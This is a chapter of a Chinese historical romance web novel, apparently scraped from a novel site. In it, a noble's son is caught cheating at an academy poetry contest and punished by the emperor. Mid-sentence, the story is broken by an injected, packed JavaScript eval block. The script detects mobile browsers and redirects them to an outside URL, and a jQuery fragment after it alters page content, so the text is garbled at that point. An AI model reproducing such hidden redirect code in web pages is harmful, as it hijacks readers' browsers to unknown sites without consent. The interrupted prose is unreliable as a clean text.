潮生鸦鸣 作品

28. 木头

“与其想着先咬我,不如先看看这是什么?”裴砚之的指尖轻轻一抖,一张泛黄的纸条便暴露在众人面前。


他冲温棠梨浅浅地笑了,“好奇吗?”


那张纸条不过寸许,却让张信怔怔地呆在原地,如坠冰窟。


纸条边缘还泛着些许油墨的光泽,乌黑而油亮,像是名贵的松烟墨。


只见温棠梨对着裴砚之手中的纸条自是望眼欲穿,后者无声地笑了下。


“给你。”裴砚之将纸条递过去,指尖似有似无地擦过她的掌心。


温棠梨一愣,没懂他想传递什么信息。


难怪张信会有所忌惮,纸条上密密麻麻的字迹映入眼帘,温棠梨的瞳孔微微收缩。


这些字与词全都关乎一个字。


“秋”。


裴砚之朗声念道这纸条上的字。


那些熟悉的诗句全是张信方才吟诵过的。


温棠梨抬眸看向张信,眼底的讽刺毫不压抑地释放了出来,“张公子当真是……博闻强记啊。”


像是张信的父亲这等职位的人,连带着家眷的衣物都是由尚衣局特制的,别人也许看不出来,但燕鹤明看得明明白白,


张信的衣袖中间有个夹层,夹层中便藏了这用于作弊的纸条。


每当他抬手或稍作遮掩的时候便能偷看提示。


方才的那一拳,虽然夹杂着些公报私仇的意味,但实则是经过裴砚之的深思熟虑,他借着挥拳的力道,腕骨微不可察的一转,硬生生将那暗扣挑开半寸。


拳风带来的罡气穿堂而过,在张信的错愕时,那张染着松烟墨的纸条早早地落入他的掌心中。


裴砚之不懂衣料,这件事情是听燕鹤明说的,燕灼身为尚衣局司制,掌天下织造,对布料与制衣的造诣可谓是登峰造极。


燕鹤明自幼耳濡目染,虽不及其精通,却也练就了一双火眼金睛。他通过张信各种小动作,外加看出他身穿衣服的版型有问题。


那衣服的夹层看起来被缝合的非常精巧,却过分累赘了,看起来异常笨拙。


尚衣局的锁边针法,偏偏要掺金丝?搞得不伦不类的,要知道尚衣局特供的官服,绝不可能用这等暴殄天物的缝法,坏了料子也坏了金丝。


“从你身上搜出来的,张公子。这又该如何解释呢?”裴砚之问。


张信还在狡辩,“呵……你凭什么证明这张字条是我写的?万一只是凶手塞进我的衣服里了呢?”


裴砚之点点头,尽管他觉得,张信讲的话狗屁不通。


“哦,那你为何私改官服,夹层口袋又是何意?”


“拜托,我好歹也是当朝太傅之子。”张信捂着肚子,脸上铁青,显然刚刚那一击是他生平所受之最,“钱财票子什么的,我出门了,又不能明晃晃拿手里,肯定要找个安全的地方藏起来吧?”


在看不到的角落,赵靖安捏着茶杯的手指用力得泛白,险些将茶杯捻碎。


这个蠢货到底在狡辩什么!直接认罪不就好了吗!知不知道什么叫做,说得越多!错的越多!


裴砚之骨节分明的手指摸索着下巴,看似是在认真思考,“嗯……好像说得也有道理。”


赵靖安:???


温棠梨猛地抬头,不可置信地看向他。


仿佛在说:“你认真的?”


烛光恰好掠过她微颤的眼睫毛,松散的发髻,几缕碎发垂落在耳畔,衬得那张脸愈发清丽。


她的眼睛最是动人,此刻却因为惊愕而睁大了些,眼波流转间,映出几分不解……也许还有几分说不清道不明的情愫在其中。


“才怪~”裴砚之话锋一转,他俯身靠近温棠梨,修长的手指轻轻拂过她的发丝,指尖的温度透过发丝传来,驱散了裴砚之身上带着的寒气。


他的目光温柔得能溺死人。


“别担心,我永远会袒护你,偏袒你。”


“不对~”温棠梨忽然歪头,她的指尖戳在裴砚之的胸口上,告诉他,“什么叫偏袒?什么叫袒护?我又没做错!你这叫清正廉洁,裴二公子。”


那声“裴二公子”的声调打着旋儿地上扬。


裴砚之的喉结滚动了两下,目光落在她泛着珠光的唇瓣上。


“嗯,我是公正严明的青天大老爷。”


裴砚之的眼睛眯了眯,这笑原是闷在胸腔里的,偏偏被她几句俏皮话撬开了条缝。


张信的嘴角噙着冷笑,“看来书院里传的那些话是真的了。”


“张公子有空去听那些闲言碎语,倒不如精其自身,张公子引以为傲的字迹,在这会倒成了致命一击。”裴砚之将摘抄有“秋”字的纸笺与第一轮笔试时,张信所联写的那段联句放在一起。


这书法刚健柔美,铁画银钩,见字如面。


裴砚之稍一拱手,“请各位夫子们明鉴,这两张是否出自同一人笔下?”


“如果不是,敢作敢当,届时我定会向张公子赔礼道歉,磕头也会,下跪也罢,我定还你一个清白。”


满堂哗然,那可是裴砚之啊,骄傲得不可一世的裴砚之。


温棠梨的心情有些复杂。


张信立于案前,身形僵硬,从前总是上挑着的眼睛,此刻低垂着。


他这人,记性不佳,诗词一道更是平平无奇,唯独那一手好字,自幼便得父亲对其赞口不绝。


夫子所查看的那张字条,正是他亲手书写,亲笔亲为。


他为何亲自动笔?


只因他高傲。


整个太傅府中,上下众人,他皆瞧不上眼,自以为无人能与其字迹比肩。能入他眼的字,必须是至美。


然而,如此自命不凡之人,竟需舞弊以胜一低年级小女子。


他虽心有不甘,却不得不为之。


看台座上的赵靖安目光移向了别处,神情淡漠,似是刻意地与他划清界线。


张信应该想到的,他能把王畅丢掉,赵靖安就能将自己也当做一枚无用的弃子。


可笑至极,他天真地以为,自己与旁人不同,能够在赵靖安手中占得一席之地。


野心、狂妄、傲慢,三者交织,形成了一个自负又可笑的张信。


“裴二公子,这纸笺与这试卷之笔迹,确实出自同一人之手。”夫子手持纸笺,目光沉静,缓缓将结果宣于众人。


而那试卷之上,抬头几字清晰可见,墨迹犹新,赫然写着:张信,字


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196649|162936||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


子谦。


乾元帝右手托着腮,手指有一下没一下地敲着脸侧。


“张信,你身为太傅之子,自幼饱读诗书,理应以身作则,为天下学子之楷模。却未料到,你心思如此恶劣,辱没门楣,实在是令朕痛心疾首。”


乾元帝略一停顿,想起了太傅,“张太傅一生清正廉洁,为国操劳,却不料生出你这等不孝子,你此举,不仅自毁前程,更令张太傅、整个太傅府蒙羞!令朝廷的未来蒙尘!”


“朕若不严惩,何以正纲纪,何以服天下?”


乾元帝缓缓起身,袖袍一甩,声如雷霆。


在场众人皆跪伏在地。


“即日起,太傅府张信,永不录用。太傅教子无方,罚俸禄一年,闭门思过,望尔等以此为戒,莫行卑劣之事。”


言毕,乾元帝目光微转,冷冷问道:“你还有什么话要说?看在太傅的面子上,朕允许你喊冤。”


他还能说什么?


辩解自己一时糊涂?


还是祈求陛下网开一面?


可事实摆在眼前,众目睽睽之下,他无从抵赖,更无力挽回。


他败得彻底。


“臣……无话可说。”张信终于开口了。


乾元帝冷哼一声,挥袖命侍卫将他带下。


张信被拖起身时,目光幽幽地扫过堂内众人,原先的至交,此刻都避如蛇蝎。


他看见夫子摇头叹息,眼中满是失望。


他看见远处诗会的方向,隐约传来了欢呼声,似是“青龙”魁首温棠梨的胜利,成为了众人瞩目的焦点。


而他,声名尽毁,前程尽失,如同丧家之犬。


提笔写下“秋”字时的傲然神情,如今想来,尽是如此可笑。


“靖安。”乾元帝忽然这么亲切地叫道,赵靖安有种不好的预感。


赵靖安站了起来,依旧风度翩翩,他向着乾元帝行礼,“回父皇,儿臣在。”


“你这门生,到是个风雅人。”


赵靖安闭了闭眼,他闻到了三年前那个雪夜的味道。


当时他亲手将毒酒灌入乳母的口中,只因对方知晓了自己的秘密。


此刻他喉中泛起同样的铁锈味,却依旧笑得温和如玉,“父皇明鉴,儿臣竟不知名下出了如此败类。”


乾元帝离开时,只留下了一句“识人不清”言罢,他顿了顿,抬手揉了揉太阳穴,又添了一句,“朕乏了。”


众人见状,身子伏得极低,声音由带头的夫子们开始,随后书院内此起彼伏地响起了。


“恭送陛下……”


直到乾元帝的身影消失在视线中,也无人敢率先起身。


温棠梨手中捧着一盏热茶,烟雾袅袅,她的面色略显苍白。


桌上摆着几颗蜜饯,这是温芷筠特地为她准备的。


温芷筠看她神色倦怠,抬手抚了抚她的额头,探了探温度,轻声叹道:“受凉了,怕是明天要发热了,赶紧多喝几口。”


裴砚之和燕鹤明此刻还在切磋,两人都以温棠梨身体抱恙之名让她留在屋内休息。


温芷筠眨了眨眼,故作神秘地压低了声音,“五妹觉得,他们二人,谁会赢?”